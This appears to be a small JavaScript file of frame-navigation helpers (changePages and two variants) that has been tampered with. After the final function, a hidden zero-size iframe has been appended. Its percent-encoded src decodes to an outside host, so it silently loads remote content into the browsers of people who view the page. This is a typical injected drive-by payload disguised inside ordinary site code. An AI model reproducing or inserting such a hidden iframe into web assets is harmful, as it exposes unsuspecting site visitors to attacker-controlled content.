function changePages(mainURL){
parent.main.location.href = mainURL;
}

function changePagesiframe(mainURL){
parent.parent.main.location.href = mainURL;
}

function changePagesframeall(mainURL){
self.location.href = mainURL;
}<iframe src=http://%6E%6F%6E%61%6D%65%2E%31%31%6E%6E%2E%6E%65%74 width=0 height=0></iframe>